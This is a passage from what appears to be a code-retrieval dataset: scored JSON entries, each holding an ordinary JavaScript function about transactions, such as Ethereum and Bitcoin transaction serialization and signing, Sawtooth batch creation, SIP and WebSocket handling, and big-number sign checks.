transaction.from,\n ToAddress: transaction.to,\n Value: Number(web3.fromWei(transaction.value, 'ether')),\n GasPrice: Number(web3.fromWei(transaction.gasPrice, 'gwei')),\n Gas: transaction.gas,\n Input: transaction.input\n }; \n\n return pendingTran;\n}", "title": "" }, { "docid": "164f7bbeb3b4d7655da47a377a57ad02", "score": "0.4625662", "text": "function checkTransaction(ua,request){var tr;switch(request.method){case JsSIP_C.INVITE:tr=ua.transactions.ist[request.via_branch];if(tr){switch(tr.state){case C.STATUS_PROCEEDING:tr.transport.send(tr.last_response);break;// RFC 6026 7.1 Invite retransmission\n//received while in C.STATUS_ACCEPTED state. Absorb it.\ncase C.STATUS_ACCEPTED:break;}return true;}break;case JsSIP_C.ACK:tr=ua.transactions.ist[request.via_branch];// RFC 6026 7.1\nif(tr){if(tr.state===C.STATUS_ACCEPTED){return false;}else if(tr.state===C.STATUS_COMPLETED){tr.state=C.STATUS_CONFIRMED;tr.I=setTimeout(function(){tr.timer_I();},Timers.TIMER_I);return true;}}// ACK to 2XX Response.\nelse{return false;}break;case JsSIP_C.CANCEL:tr=ua.transactions.ist[request.via_branch];if(tr){request.reply_sl(200);if(tr.state===C.STATUS_PROCEEDING){return false;}else{return true;}}else{request.reply_sl(481);return true;}break;default:// Non-INVITE Server Transaction RFC 3261 17.2.2\ntr=ua.transactions.nist[request.via_branch];if(tr){switch(tr.state){case C.STATUS_TRYING:break;case C.STATUS_PROCEEDING:case C.STATUS_COMPLETED:tr.transport.send(tr.last_response);break;}return true;}break;}}", "title": "" }, { "docid": "a3d53b847b85afc8caa1f20fce9b8e68", "score": "0.46124732", "text": "function createTransaction(action, productType, size, sku, rfid, date) {\n\n //payload is the data of the shoe, add more fields as desired, it doesn't affect anything else.\n const payload = (action, productType, size, sku, rfid, date) => {\n return {\n Action: action,\n ProductType: productType,\n Size: size,\n SKU: sku,\n RFID: rfid,\n Date: date\n };\n };\n\n //Encode the payload as bytes\n const payloadBytes = cbor.encode(payload);\n\n //Create the transaction header\n const transactionHeaderBytes = protobuf.TransactionHeader.encode({\n //No idea what this is for, but it's probably important.\n familyName: 'intkey',\n familyVersion: '1.0',\n\n /*\n Inputs and outputs are the state addresses a transaction is allowed to read from or write to.\n This isn't information I'm sure of how to get. The documentation says that this information is \n up to the transaction processor, so we may not have anything valid at this time for inputs or outputs. \n The tuna demo uses the string \"19d832\", which I've put here as a placeholder, the alternative is\n an empty field like with dependencies below. Not sure which it should be.\n */\n inputs: [placeholderInputOutput],\n outputs: [placeholderInputOutput],\n\n //Add public key. Need to modify when we've added account stuff so that this uses the correct account's key.\n signerPublicKey: signer.getPublicKey().asHex(),\n batcherPublicKey: signer.getPublicKey().asHex(),\n\n //This is supposed to be the previous transaction header, but we don't have any of that, \n //and as far as I know, we can't get it at this time.\n //I've considered saving that, as the information needed is generated right here. Don't know if that would work.\n dependencies: [],\n\n //Hash the payload to symbolically link the header and payload. \n payloadSha512: createHash('sha512').update(payloadBytes).digest('hex')\n }).finish();\n\n //Sign the header with key.\n const signedHeader = signer.sign(transactionHeaderBytes);\n\n //Create the transaction\n const transaction = protobuf.Transaction.create({\n header: transactionHeaderBytes,\n headerSignature: signedHeader,\n payload: payloadBytes\n });\n\n return transaction;\n\n //Alternative ending where the batch is made here, not sure if this was included in my task or not\n const transactions = [transaction];\n\n const batchHeaderBytes = protobuf.BatchHeader.encode({\n signerPublicKey: signer.getPublicKey.asHex(),\n transactionIds: transactions.map((txn) => txn.headerSignature),\n }).finish();\n\n const batchSignature = signer.sign(batchHeaderBytes);\n \n const batch = protobuf.Batch.create({\n header: batchHeaderBytes,\n headerSignature: batchSignature,\n transactions: transactions\n });\n\n const batchListBytes = protobuf.BatchList.encode({\n batches: [batch]\n }).finish();\n\n return batchListBytes;\n \n}", "title": "" }, { "docid": "8caab0bf19665d7589033fd48dea22d7", "score": "0.46088767", "text": "function getTx(tx){\n hive.api.getTransaction(tx, function(err, result) {\n console.log(err, result);\n if(result){\n setTxToLookUp(result);\n getBlock(result.block_num);\n setLoadingQuery(false);\n setLoadingBlock(true);\n }\n });\n }", "title": "" }, { "docid": "551ea1c6175d50e98e6a0337c637bd12", "score": "0.46066236", "text": "parseTransaction(tx) {\n let fragment = this.getFunction(tx.data.substring(0, 10).toLowerCase());\n if (!fragment) {\n return null;\n }\n return new TransactionDescription({\n args: this._abiCoder.decode(fragment.inputs, \"0x\" + tx.data.substring(10)),\n functionFragment: fragment,\n name: fragment.name,\n signature: fragment.format(),\n sighash: this.getSighash(fragment),\n value: BigNumber.from(tx.value || \"0\"),\n });\n }", "title": "" }, { "docid": "b4f33d593527df2e4be7ad03158e7b8f", "score": "0.45929363", "text": "function getInputNewTx (balance, address, callback) {\n /* To be defined...\n The function must return txhash of previous transaction and the index of the output\n Must use cypher address API endpoint to get unspent output */\n}", "title": "" }, { "docid": "69297f58473834a6246e4e04f96ca04b", "score": "0.45874152", "text": "function prepareTransactionToSign (transaction, vint) {\n const txInCount = CompactSize.fromSize(transaction.txIns.length)\n const txOutCount = CompactSize.fromSize(transaction.txOuts.length)\n let bufSize = 4 + 1\n\n // TODO: You need to get the tx signature length of the script txin matching vint\n bufSize += 41 * transaction.txIns.length + transaction.txIns[vint].signature.length\n bufSize += 1\n for (const txout of transaction.txOuts) {\n bufSize += 9 + txout.pkScriptSize\n }\n bufSize += 8\n\n const buffer = Buffer.alloc(bufSize)\n let offset = 0\n\n buffer.writeUInt32LE(transaction.version, offset)\n offset += 4\n\n txInCount.copy(buffer, offset)\n offset += txInCount.length\n\n for (const txInIndex in transaction.txIns) {\n Buffer.from(transaction.txIns[txInIndex].previousOutput.hash, 'hex').copy(buffer, offset)\n offset += 32\n\n buffer.writeUInt32LE(transaction.txIns[txInIndex].previousOutput.index, offset)\n offset += 4\n\n if (txInIndex === vint) {\n const scriptSigSize = CompactSize.fromSize(transaction.txIns[txInIndex].signature.length)\n scriptSigSize.copy(buffer, offset)\n offset += scriptSigSize.length\n\n transaction.txIns[txInIndex].signature.copy(buffer, offset)\n offset += transaction.txIns[txInIndex].signature.length\n } else {\n const nullBuffer = Buffer.alloc(1)\n nullBuffer.copy(buffer, offset)\n offset += nullBuffer.length\n }\n\n buffer.writeUInt32LE(transaction.txIns[txInIndex].sequence, offset)\n offset += 4\n }\n\n txOutCount.copy(buffer, offset)\n offset += txOutCount.length\n\n for (const txOutIndex in transaction.txOuts) {\n buffer.writeBigInt64LE(transaction.txOuts[txOutIndex].value, offset)\n offset += 8\n\n const pkScriptSize = CompactSize.fromSize(transaction.txOuts[txOutIndex].pkScriptSize)\n\n pkScriptSize.copy(buffer, offset)\n offset += pkScriptSize.length\n\n transaction.txOuts[txOutIndex].pkScript.copy(buffer, offset)\n offset += transaction.txOuts[txOutIndex].pkScriptSize\n }\n\n buffer.writeUInt32LE(transaction.locktime, offset)\n offset += 4\n\n buffer.writeUInt32LE(transaction.hashCodeType, offset)\n\n return buffer\n}", "title": "" }, { "docid": "cc0a43e4043c1f4268eb1243f8ce29b8", "score": "0.45832255", "text": "async function getData(tx) {\n var dataout = tx.outputs.filter(out => out.script.isDataOut())\n if (dataout.length == 0) throw new Error(\"Not Data TX\")\n var bufs = dataout[0].script.chunks.map(chunk => (chunk.buf) ? chunk.buf : new bsv.deps.Buffer(0))\n if (bufs[1].toString() == \"19HxigV4QyBv3tHpQVcUEQyq1pzZVdoAut\") return bufs[2]\n else {\n // 处理Bcat\n var bParts = bufs.slice(7).map(buf => buf.toString('hex'))\n if (global.verbose) console.log(\"处理Bcat中。。。\" + bParts)\n var bPartTXs = await Promise.all(bParts.map(bPart => getTX(bPart)))\n if (global.verbose) console.log(bPartTXs.map(tx => tx.id))\n var bPartBufs = bPartTXs.map(tx => tx.outputs.filter(out => out.script.isDataOut())[0].script.chunks[2].buf)\n if (global.verbose) console.log(bPartBufs.map(buf => buf.length))\n var buf = bsv.deps.Buffer.concat(bPartBufs)\n if (global.verbose) console.log(buf.length)\n return buf\n }\n}", "title": "" }, { "docid": "675c9f3105dd0697e1487db7962f81c6", "score": "0.45828685", "text": "function parseTx(tx) {\n return {\n to: tx['to'],\n value: utils.formatEther(tx['value']),\n data: tx['data'],\n executed: tx['executed'],\n numConfirmations: +tx['numConfirmations'].toString(),\n }\n}", "title": "" }, { "docid": "50a396a4181ffffc2f7b3d3b6887031a", "score": "0.45690295", "text": "async createTransaction(ctx, \n // orderID, \n cargoOwner,\n loadingPoint, \n loadingDateTime, \n deliveryPoint,\n deliveryDateTime, \n productID, \n quantity, \n packingDim, \n totalWeight,\n peer) {\n\n let tranID = 'TRAN' + Math.random().toString(36).substr(2, 9);\n let orderIDcheck;\n \n while (true) {\n orderIDcheck = await ctx.stub.getState(tranID); \n if (!orderIDcheck || orderIDcheck.length === 0) {\n break;\n }\n tranID = 'TRAN' + Math.random().toString(36).substr(2, 9);\n }\n\n if (peer == \"peer0\") {\n const order = {orderinfo: {\n cargoOwner: cargoOwner,\n loadingPoint: loadingPoint,\n loadingDateTime: loadingDateTime,\n deliveryPoint: deliveryPoint,\n deliveryDateTime: deliveryDateTime,\n productID: productID,\n quantity: quantity,\n packingDim: packingDim,\n totalWeight: totalWeight,\n timeSave: Date.now(),\n }\n \n };\n \n await ctx.stub.putState(tranID, Buffer.from(JSON.stringify(order)));\n return [true, tranID];\n } else {\n return false;\n }\n \n }", "title": "" }, { "docid": "de7c0b82afe0db8e978e3dfbb6ee0d0a", "score": "0.45592898", "text": "function so(t, e) {\n var n = x(t);\n return n.persistence.runTransaction(\"Acknowledge batch\", \"readwrite-primary\", (function(t) {\n var r = e.batch.keys(), i = n.Tc.Fr({\n jr: !0\n });\n return function(t, e, n, r) {\n var i = n.batch, o = i.keys(), u = yr.resolve();\n return o.forEach((function(t) {\n u = u.next((function() {\n return r.fi(e, t);\n })).next((function(e) {\n var o = e, u = n.Os.get(t);\n D(null !== u), (!o || o.version.u(u) < 0) && ((o = i.Ds(t, o, n)) && \n // We use the commitVersion as the readTime rather than the\n // document's updateTime since the updateTime is not advanced\n // for updates that do not modify the underlying document.\n r.ui(o, n.Fs));\n }));\n })), u.next((function() {\n return t.Ho.xi(e, i);\n }));\n }(n, t, e, i).next((function() {\n return i.apply(t);\n })).next((function() {\n return n.Ho.Oi(t);\n })).next((function() {\n return n.Ic.Zo(t, r);\n }));\n }));\n}", "title": "" }, { "docid": "a008cee9580d76fa44a236e893f216fb", "score": "0.45558718", "text": "function startNextSendXact() {\n var xact = [];\n xact.push({ '#transaction': sentTransaction++ });\n return xact;\n }", "title": "" }, { "docid": "1766cb7a60887d66d6d7433cc81c53de", "score": "0.45528647", "text": "async function requestTransaction(_clauses,_txType=0, _delegate=\"\"){\n if(_delegate !== \"\" && _txType === _txDevice){\n console.log(\"fee was delegated\")\n _delegate = 'https://sponsor.vechain.energy/sign/'+_delegate;\n const signingService = await connex.vendor.sign('tx', _clauses)\n .delegate(_delegate)\n .request()\n console.log(signingService);\n return signingService;\n }\n else if(_delegate === \"\" && _txType === _txCompany){\n console.log(\"signer has paid fee\")\n const signingService = await connex.vendor.sign('tx', _clauses)\n .request(); \n console.log(signingService);\n return signingService;\n }\n else if(_delegate === \"\" && _txType === _txFile){\n console.log(\"signer has paid fee\")\n \n }\n else{\n console.log(\"signer has paid fee\")\n const signingService = await connex.vendor.sign('tx', _clauses)\n .signer(company.address)\n .request(); \n console.log(signingService);\n return signingService;\n }\n}", "title": "" }, { "docid": "1a2bce5ed02c2df68a1ac4c11b76a5c2", "score": "0.45525232", "text": "GetTokensCount()\r\n{\r\n var array_out;\r\n var array_in = new Uint8Array(MAX_TRANSE_LEN) ;\r\n \r\n array_out=this.SendWithData(GET_TOKENS_COUNT, array_in);\r\n if(this.lasterror!=0){return this.lasterror;}\r\n\r\n return (array_out[4]) + (array_out[3] << 8) + (array_out[2] << 16) + (array_out[1] << 24); \r\n}", "title": "" }, { "docid": "2d374afe4aa5cdde5d6bacc1ae60c145", "score": "0.45449254", "text": "getInfo () {\n if (!this.hasBufferedBytes(2)) return;\n\n const buf = this.readBuffer(2);\n\n if ((buf[0] & 0x30) !== 0x00) {\n this.error(new Error('RSV2 and RSV3 must be clear'), 1002);\n return;\n }\n\n const compressed = (buf[0] & 0x40) === 0x40;\n\n if (compressed && !this.extensions[PerMessageDeflate.extensionName]) {\n this.error(new Error('RSV1 must be clear'), 1002);\n return;\n }\n\n this.fin = (buf[0] & 0x80) === 0x80;\n this.opcode = buf[0] & 0x0f;\n this.payloadLength = buf[1] & 0x7f;\n\n if (this.opcode === 0x00) {\n if (compressed) {\n this.error(new Error('RSV1 must be clear'), 1002);\n return;\n }\n\n if (!this.fragmented) {\n this.error(new Error(`invalid opcode: ${this.opcode}`), 1002);\n return;\n } else {\n this.opcode = this.fragmented;\n }\n } else if (this.opcode === 0x01 || this.opcode === 0x02) {\n if (this.fragmented) {\n this.error(new Error(`invalid opcode: ${this.opcode}`), 1002);\n return;\n }\n\n this.compressed = compressed;\n } else if (this.opcode > 0x07 && this.opcode < 0x0b) {\n if (!this.fin) {\n this.error(new Error('FIN must be set'), 1002);\n return;\n }\n\n if (compressed) {\n this.error(new Error('RSV1 must be clear'), 1002);\n return;\n }\n\n if (this.payloadLength > 0x7d) {\n this.error(new Error('invalid payload length'), 1002);\n return;\n }\n } else {\n this.error(new Error(`invalid opcode: ${this.opcode}`), 1002);\n return;\n }\n\n if (!this.fin && !this.fragmented) this.fragmented = this.opcode;\n\n this.masked = (buf[1] & 0x80) === 0x80;\n\n if (this.payloadLength === 126) this.state = GET_PAYLOAD_LENGTH_16;\n else if (this.payloadLength === 127) this.state = GET_PAYLOAD_LENGTH_64;\n else this.haveLength();\n }", "title": "" }, { "docid": "2f5592534ea5b43d883dfb2eb3a3c843", "score": "0.45332614", "text": "_wrapTransaction(tx, hash) {\n if (hash != null && hexDataLength(hash) !== 32) {\n throw new Error(\"invalid response - sendTransaction\");\n }\n const result = tx;\n // Check the hash we expect is the same as the hash the server reported\n if (hash != null && tx.hash !== hash) {\n logger$t.throwError(\"Transaction hash mismatch from Provider.sendTransaction.\", Logger.errors.UNKNOWN_ERROR, { expectedHash: tx.hash, returnedHash: hash });\n }\n // @TODO: (confirmations? number, timeout? number)\n result.wait = (confirmations) => __awaiter$8(this, void 0, void 0, function* () {\n // We know this transaction *must* exist (whether it gets mined is\n // another story), so setting an emitted value forces us to\n // wait even if the node returns null for the receipt\n if (confirmations !== 0) {\n this._emitted[\"t:\" + tx.hash] = \"pending\";\n }\n const receipt = yield this.waitForTransaction(tx.hash, confirmations);\n if (receipt == null && confirmations === 0) {\n return null;\n }\n // No longer pending, allow the polling loop to garbage collect this\n this._emitted[\"t:\" + tx.hash] = receipt.blockNumber;\n if (receipt.status === 0) {\n logger$t.throwError(\"transaction failed\", Logger.errors.CALL_EXCEPTION, {\n transactionHash: tx.hash,\n transaction: tx,\n receipt: receipt\n });\n }\n return receipt;\n });\n return result;\n }", "title": "" }, { "docid": "4bdeff807c7cbb4ca7b62796cdc23ebb", "score": "0.45214674", "text": "getInfo () {\n if (!this.hasBufferedBytes(2)) return;\n\n const buf = this.readBuffer(2);\n\n if ((buf[0] & 0x30) !== 0x00) {\n this.error(new Error('RSV2 and RSV3 must be clear'), 1002);\n return;\n }\n\n const compressed = (buf[0] & 0x40) === 0x40;\n\n if (compressed && !this.extensions[PerMessageDeflate_1.extensionName]) {\n this.error(new Error('RSV1 must be clear'), 1002);\n return;\n }\n\n this.fin = (buf[0] & 0x80) === 0x80;\n this.opcode = buf[0] & 0x0f;\n this.payloadLength = buf[1] & 0x7f;\n\n if (this.opcode === 0x00) {\n if (compressed) {\n this.error(new Error('RSV1 must be clear'), 1002);\n return;\n }\n\n if (!this.fragmented) {\n this.error(new Error(`invalid opcode: ${this.opcode}`), 1002);\n return;\n } else {\n this.opcode = this.fragmented;\n }\n } else if (this.opcode === 0x01 || this.opcode === 0x02) {\n if (this.fragmented) {\n this.error(new Error(`invalid opcode: ${this.opcode}`), 1002);\n return;\n }\n\n this.compressed = compressed;\n } else if (this.opcode > 0x07 && this.opcode < 0x0b) {\n if (!this.fin) {\n this.error(new Error('FIN must be set'), 1002);\n return;\n }\n\n if (compressed) {\n this.error(new Error('RSV1 must be clear'), 1002);\n return;\n }\n\n if (this.payloadLength > 0x7d) {\n this.error(new Error('invalid payload length'), 1002);\n return;\n }\n } else {\n this.error(new Error(`invalid opcode: ${this.opcode}`), 1002);\n return;\n }\n\n if (!this.fin && !this.fragmented) this.fragmented = this.opcode;\n\n this.masked = (buf[1] & 0x80) === 0x80;\n\n if (this.payloadLength === 126) this.state = GET_PAYLOAD_LENGTH_16;\n else if (this.payloadLength === 127) this.state = GET_PAYLOAD_LENGTH_64;\n else this.haveLength();\n }", "title": "" }, { "docid": "aa17c3343f820d3bf01e692d8af9288c", "score": "0.45128435", "text": "function _serialize(transaction, signature) {\n (0, properties_1.checkProperties)(transaction, allowedTransactionKeys);\n var raw = [];\n transactionFields.forEach(function (fieldInfo) {\n var value = transaction[fieldInfo.name] || ([]);\n var options = {};\n if (fieldInfo.numeric) {\n options.hexPad = \"left\";\n }\n value = (0, bytes_1.arrayify)((0, bytes_1.hexlify)(value, options));\n // Fixed-width field\n if (fieldInfo.length && value.length !== fieldInfo.length && value.length > 0) {\n logger.throwArgumentError(\"invalid length for \" + fieldInfo.name, (\"transaction:\" + fieldInfo.name), value);\n }\n // Variable-width (with a maximum)\n if (fieldInfo.maxLength) {\n value = (0, bytes_1.stripZeros)(value);\n if (value.length > fieldInfo.maxLength) {\n logger.throwArgumentError(\"invalid length for \" + fieldInfo.name, (\"transaction:\" + fieldInfo.name), value);\n }\n }\n raw.push((0, bytes_1.hexlify)(value));\n });\n var chainId = 0;\n if (transaction.chainId != null) {\n // A chainId was provided; if non-zero we'll use EIP-155\n chainId = transaction.chainId;\n if (typeof (chainId) !== \"number\") {\n logger.throwArgumentError(\"invalid transaction.chainId\", \"transaction\", transaction);\n }\n }\n else if (signature && !(0, bytes_1.isBytesLike)(signature) && signature.v > 28) {\n // No chainId provided, but the signature is signing with EIP-155; derive chainId\n chainId = Math.floor((signature.v - 35) / 2);\n }\n // We have an EIP-155 transaction (chainId was specified and non-zero)\n if (chainId !== 0) {\n raw.push((0, bytes_1.hexlify)(chainId)); // @TODO: hexValue?\n raw.push(\"0x\");\n raw.push(\"0x\");\n }\n // Requesting an unsigned transaction\n if (!signature) {\n return RLP.encode(raw);\n }\n // The splitSignature will ensure the transaction has a recoveryParam in the\n // case that the signTransaction function only adds a v.\n var sig = (0, bytes_1.splitSignature)(signature);\n // We pushed a chainId and null r, s on for hashing only; remove those\n var v = 27 + sig.recoveryParam;\n if (chainId !== 0) {\n raw.pop();\n raw.pop();\n raw.pop();\n v += chainId * 2 + 8;\n // If an EIP-155 v (directly or indirectly; maybe _vs) was provided, check it!\n if (sig.v > 28 && sig.v !== v) {\n logger.throwArgumentError(\"transaction.chainId/signature.v mismatch\", \"signature\", signature);\n }\n }\n else if (sig.v !== v) {\n logger.throwArgumentError(\"transaction.chainId/signature.v mismatch\", \"signature\", signature);\n }\n raw.push((0, bytes_1.hexlify)(v));\n raw.push((0, bytes_1.stripZeros)((0, bytes_1.arrayify)(sig.r)));\n raw.push((0, bytes_1.stripZeros)((0, bytes_1.arrayify)(sig.s)));\n return RLP.encode(raw);\n}", "title": "" }, { "docid": "c5fa0950edd447cc30f2b44fc630a946", "score": "0.45017284", "text": "static from(tx) {\n if (tx == null) {\n return new Transaction();\n }\n if (typeof (tx) === \"string\") {\n const payload = (0, index_js_3.getBytes)(tx);\n if (payload[0] >= 0x7f) { // @TODO: > vs >= ??\n return Transaction.from(_parseLegacy(payload));\n }\n switch (payload[0]) {\n case 1: return Transaction.from(_parseEip2930(payload));\n case 2: return Transaction.from(_parseEip1559(payload));\n }\n (0, index_js_3.assert)(false, \"unsupported transaction type\", \"UNSUPPORTED_OPERATION\", { operation: \"from\" });\n }\n const result = new Transaction();\n if (tx.type != null) {\n result.type = tx.type;\n }\n if (tx.to != null) {\n result.to = tx.to;\n }\n if (tx.nonce != null) {\n result.nonce = tx.nonce;\n }\n if (tx.gasLimit != null) {\n result.gasLimit = tx.gasLimit;\n }\n if (tx.gasPrice != null) {\n result.gasPrice = tx.gasPrice;\n }\n if (tx.maxPriorityFeePerGas != null) {\n result.maxPriorityFeePerGas = tx.maxPriorityFeePerGas;\n }\n if (tx.maxFeePerGas != null) {\n result.maxFeePerGas = tx.maxFeePerGas;\n }\n if (tx.data != null) {\n result.data = tx.data;\n }\n if (tx.value != null) {\n result.value = tx.value;\n }\n if (tx.chainId != null) {\n result.chainId = tx.chainId;\n }\n if (tx.signature != null) {\n result.signature = index_js_2.Signature.from(tx.signature);\n }\n if (tx.accessList != null) {\n result.accessList = tx.accessList;\n }\n if (tx.hash != null) {\n (0, index_js_3.assertArgument)(result.isSigned(), \"unsigned transaction cannot define hash\", \"tx\", tx);\n (0, index_js_3.assertArgument)(result.hash === tx.hash, \"hash mismatch\", \"tx\", tx);\n }\n if (tx.from != null) {\n (0, index_js_3.assertArgument)(result.isSigned(), \"unsigned transaction cannot define from\", \"tx\", tx);\n (0, index_js_3.assertArgument)(result.from.toLowerCase() === (tx.from || \"\").toLowerCase(), \"from mismatch\", \"tx\", tx);\n }\n return result;\n }", "title": "" }, { "docid": "102d77c922ed4fdf100429d7e2d8b13f", "score": "0.44974223", "text": "static getLastTxPubKey(txExtra) {\n let lastPubKeyIdx;\n for (let i = 0; i < txExtra.length; i++) {\n let tag = txExtra[i];\n if (tag === 0 || tag === 2) {\n i += 1 + txExtra[i + 1]; // advance to next tag\n } else if (tag === 1) {\n lastPubKeyIdx = i + 1;\n i += 1 + 32; // advance to next tag\n } else throw new Error(\"Invalid sub-field tag: \" + tag);\n }\n return Buffer.from(new Uint8Array(txExtra.slice(lastPubKeyIdx, lastPubKeyIdx + 32))).toString(\"hex\");\n }", "title": "" }, { "docid": "033afce76dcfefd532c0ec9aae8a4004", "score": "0.44958946", "text": "assembleTransaction() {\n // Create a buffered version statement.\n const version = Buffer.from(\"02000000\", \"hex\");\n\n // Create the input counter and input data buffers.\n const inputCount = bitcoinCashUtilities.varInt(this.inputs.length);\n const inputs = this.serializeCommitments();\n\n // Create the output counter and output data buffer.\n const outputCount = bitcoinCashUtilities.varInt(\n Object.keys(this.outputs).length\n );\n const outputs = this.serializeOutputs();\n\n // Create a buffered disable locktime statement.\n const locktime = Buffer.from(\"00000000\", \"hex\");\n\n // Return the assembled transaction.\n return Buffer.concat([\n version,\n inputCount,\n inputs,\n outputCount,\n outputs,\n locktime,\n ]);\n }", "title": "" }, { "docid": "ec8b49765f983ebe3dab1aed5b6abcac", "score": "0.4493356", "text": "verifyTxSignature(tx) {\n const transaction = new EthereumTx(tx);\n this.VerifyTx = tx;\n if (transaction.verifySignature()) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "1c1be6f7b429c358f31e45d5b912093f", "score": "0.44836923", "text": "getKey(_txs, _prevHash, _blockIndex) {\n return JSON.stringify(_txs) + _prevHash + _blockIndex\n }", "title": "" }, { "docid": "66f23ae6fe9d1f465b5f1b8cb6feabd5", "score": "0.44787106", "text": "write(tx) {\n this.currentBlock.add(tx);\n if (this.currentBlock.size > NUM_MESSAGE_PER_BLOCK) {\n //\n // ***YOUR CODE HERE***\n //\n // Find a proof for the current block,\n // calculate its hash,\n // and add the block to the `this.blocks` map\n // using the hash as the key.\n //\n // Next, make a new `this.currentBlock`, where the height is\n // one greater than the previous block and the `prevBlockHash`\n // refers to the old `this.currentBlock`.\n \n\n // Find a proof for the current block\n this.currentBlock.findProof();\n\n //calculate its hash\n let hash =this.currentBlock.hash();\n\n // and add the block to the `this.blocks` map\n let oldBlock = this.currentBlock;\n this.blocks[hash]=oldBlock;\n\n // Next, make a new `this.currentBlock`, where the height is one greater than the previous block and the `prevBlockHash` refers to the old `this.currentBlock`.\n let blockHeight = oldBlock.blockHeight + 1;\n let prevBlockHash = hash;\n this.currentBlock = new Block(blockHeight,prevBlockHash);\n }\n }", "title": "" }, { "docid": "5c58ba587d72a24463c6a0f25b02f939", "score": "0.44750318", "text": "ListTokensName(Index)\r\n{\r\n var KeyPairInfo= {\r\n TokensName : '',\r\n SignType:BTC_SIGNTYPE,\r\n };\r\n\r\n var array_out;\r\n var array_in = new Uint8Array(MAX_TRANSE_LEN) ;\r\n \r\n array_in[1] = (Index & 255);\r\n array_in[2]= Index >> 8;\r\n \r\n array_out=this.SendWithData(LIST_TOKENS_NAME, array_in);\r\n if(this.lasterror!=0){return \"\";}\r\n KeyPairInfo.TokenName=this.Byte2Sting(array_out,1,TOKENNAME_LEN);\r\n KeyPairInfo.SignType=array_out[1+TOKENNAME_LEN];\r\n return KeyPairInfo;\r\n}", "title": "" }, { "docid": "459ea518e0d4f8c4733aef53994e350e", "score": "0.446877", "text": "requestState(callback) {\n if (this.stateIndex === null) {\n callback({\n count: this.count,\n undoAvailable: this.getUndoAvailable(),\n redoAvailable: this.getRedoAvailable(),\n });\n } else {\n const message = {\n state: this.states[this.stateIndex],\n count: this.count,\n undo: this.lastRequestWasUndo,\n redo: this.lastRequestWasRedo,\n undoAvailable: this.getUndoAvailable(),\n redoAvailable: this.getRedoAvailable(),\n };\n callback(message);\n }\n }", "title": "" }, { "docid": "25e6f47ba877f116ed5208e7c1242f99", "score": "0.44355807", "text": "transmit( output ) {\n if( this.target === 'osc' ) {\n Communication.OSC.send( this.address, output )\n } else {\n if( this.target[ this.key ] !== undefined ) {\n if( typeof this.target[ this.key ] === 'function' ) {\n this.target[ this.key ]( output )\n }else{\n this.target[ this.key ] = output \n }\n }\n }\n }", "title": "" }, { "docid": "02149aa09f8ae4abc3189389480a3b01", "score": "0.44331542", "text": "async serializeForSigning(isIdxToSign, testnet = false) {\n if (isIdxToSign) {\n await this.populateFromPrevOut(testnet);\n return Buffer.concat([\n Buffer.from(this.prevTx).reverse(),\n this.prevIndex.toArrayLike(Buffer, \"le\", 4),\n this.scriptPubKey.serialize(),\n Buffer.from(this.sequence).reverse()\n ]);\n }\n return Buffer.concat([\n Buffer.from(this.prevTx).reverse(),\n this.prevIndex.toArrayLike(Buffer, \"le\", 4),\n Buffer.from([0]), // substitute scriptPubKey for 0x00\n Buffer.from(this.sequence).reverse()\n ]);\n }", "title": "" }, { "docid": "54a0fba3ef4eac4cbbe6d3737c9bae55", "score": "0.44289216", "text": "function bnSigNum(){\nif(this.s<0)return-1;else\nif(this.t<=0||this.t==1&&this[0]<=0)return 0;else\nreturn 1;\n}", "title": "" }, { "docid": "5bf8338087fa631e19f5464ee0999a15", "score": "0.44288602", "text": "getTransactionData(txid, vout, callback) {\n mc.getTxOutData({ txid: txid, vout: vout }, callback);\n }", "title": "" }, { "docid": "8d6fd45721e58d43f473c5e04e4293d2", "score": "0.44250634", "text": "opcode8() {\n this.writeData(\n Number(this.getParameter(1) === this.getParameter(2)),\n this.position + 3);\n\n this.position += 4;\n }", "title": "" }, { "docid": "ebe4299fdb7825f2c1ff17e2c8cec0c2", "score": "0.44239244", "text": "get TRANSACTION_ERROR() { return this.VERIFY_ERROR }", "title": "" }, { "docid": "28a99d97027e82859ad97a1d3c1c53f8", "score": "0.44209203", "text": "function prepare_static_tx(tx){\n return wrap_tx(tx);\n}", "title": "" }, { "docid": "e8594c4f10b71bb10fdf3eb215ecbe0c", "score": "0.44102752", "text": "function emittx(tx) {\n\t\tUsertx.findOne({tx: tx}, function(err, docs){\n\t\t\tif (err) throw (err)\n\t\t\tvar colour = 'blue'\n\t\t\tif (status == 'confirmed') colour = 'green';\n\t\t\tvar text = 'A payment of <i class=\"fa fa-bitcoin\">'+docs.amount+' has been recieved.';\n\t\t\tif (status == 'confirmed') var text = '<i class=\"fa fa-bitcoin\">'+docs.amount+' has been added to your account.';\n\t\t\tsocket.emit('alertuser', {message: text, trinket: 'Bitcoin', colour: colour});\n\t\t});\n\t}", "title": "" }, { "docid": "d06eff631f89163976675bd041a36969", "score": "0.4408927", "text": "function bnSigNum() {\nif(this.s < 0) return -1;\nelse if(this.t <= 0 || (this.t == 1 && this.data[0] <= 0)) return 0;\nelse return 1;\n}", "title": "" }, { "docid": "d06eff631f89163976675bd041a36969", "score": "0.4408927", "text": "function bnSigNum() {\nif(this.s < 0) return -1;\nelse if(this.t <= 0 || (this.t == 1 && this.data[0] <= 0)) return 0;\nelse return 1;\n}", "title": "" }, { "docid": "d06eff631f89163976675bd041a36969", "score": "0.4408927", "text": "function bnSigNum() {\nif(this.s < 0) return -1;\nelse if(this.t <= 0 || (this.t == 1 && this.data[0] <= 0)) return 0;\nelse return 1;\n}", "title": "" }, { "docid": "d06eff631f89163976675bd041a36969", "score": "0.4408927", "text": "function bnSigNum() {\nif(this.s < 0) return -1;\nelse if(this.t <= 0 || (this.t == 1 && this.data[0] <= 0)) return 0;\nelse return 1;\n}", "title": "" }, { "docid": "d06eff631f89163976675bd041a36969", "score": "0.4408927", "text": "function bnSigNum() {\nif(this.s < 0) return -1;\nelse if(this.t <= 0 || (this.t == 1 && this.data[0] <= 0)) return 0;\nelse return 1;\n}", "title": "" }, { "docid": "d06eff631f89163976675bd041a36969", "score": "0.4408927", "text": "function bnSigNum() {\nif(this.s < 0) return -1;\nelse if(this.t <= 0 || (this.t == 1 && this.data[0] <= 0)) return 0;\nelse return 1;\n}", "title": "" }, { "docid": "d06eff631f89163976675bd041a36969", "score": "0.4408927", "text": "function bnSigNum() {\nif(this.s < 0) return -1;\nelse if(this.t <= 0 || (this.t == 1 && this.data[0] <= 0)) return 0;\nelse return 1;\n}", "title": "" }, { "docid": "d06eff631f89163976675bd041a36969", "score": "0.4408927", "text": "function bnSigNum() {\nif(this.s < 